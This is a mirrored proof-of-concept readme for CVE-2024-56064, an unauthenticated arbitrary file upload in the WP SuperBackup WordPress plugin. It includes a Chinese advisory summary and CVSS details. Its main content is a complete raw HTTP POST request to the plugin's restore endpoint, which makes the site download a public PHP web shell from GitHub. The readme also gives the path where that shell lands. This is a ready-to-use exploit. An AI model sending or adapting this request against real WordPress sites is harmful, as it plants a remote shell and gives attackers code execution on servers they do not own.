CVE-2024-56064 PoC — WordPress plugin WP SuperBackup 代码问题漏洞

Source

https://github.com/RandomRobbieBF/CVE-2024-56064

Associated Vulnerability

Title:WordPress plugin WP SuperBackup 代码问题漏洞 (CVE-2024-56064)
Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin WP SuperBackup 2.3.3版本及之前版本存在代码问题漏洞，该漏洞源于不受限制地上传具有危险类型漏洞的文件。

Description

WP SuperBackup <= 2.3.3 - Unauthenticated Arbitrary File Upload

Readme

# CVE-2024-56064
WP SuperBackup <= 2.3.3 - Unauthenticated Arbitrary File Upload

# Description

The Super Backup & Clone - Migrate for WordPress plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in all versions up to, and including, 2.3.3. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.

## Details

- **Type**: plugin
- **Slug**: indeed-wp-superbackup
- **Affected Version**: 2.3.3
- **CVSS Score**: 9.8
- **CVSS Rating**: Critical
- **CVSS Vector**: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- **CVE**: CVE-2024-56064
- **Status**: Private

POC
---

Takes a while for the shell to appear.... it will appear in `/wp-content/uploads/isnapshots/shell.php`

```
POST /wp-admin/admin.php?page=ibk_admin&tab=restore HTTP/1.1
Host: kubernetes.docker.internal:8929
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal:8929/wp-admin/admin.php?page=ibk_admin&tab=restore
Content-Type: multipart/form-data; boundary=---------------------------24461452295617717774000608677
Content-Length: 688
Origin: http://kubernetes.docker.internal:8929
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i

-----------------------------24461452295617717774000608677
Content-Disposition: form-data; name="ibk_restore_migrate_action"

1
-----------------------------24461452295617717774000608677
Content-Disposition: form-data; name="restore_type"

restore_url
-----------------------------24461452295617717774000608677
Content-Disposition: form-data; name="restore_url"

https://raw.githubusercontent.com/flozz/p0wny-shell/refs/heads/master/shell.php

-----------------------------24461452295617717774000608677
Content-Disposition: form-data; name="upload_file"; filename=""
Content-Type: application/octet-stream


-----------------------------24461452295617717774000608677--

```

File Snapshot


 [4.0K]  /data/pocs/d2c682cc3ed6222fb19d1b61354e924ad596bf0c
└── [2.1K]  README.md

0 directories, 1 file

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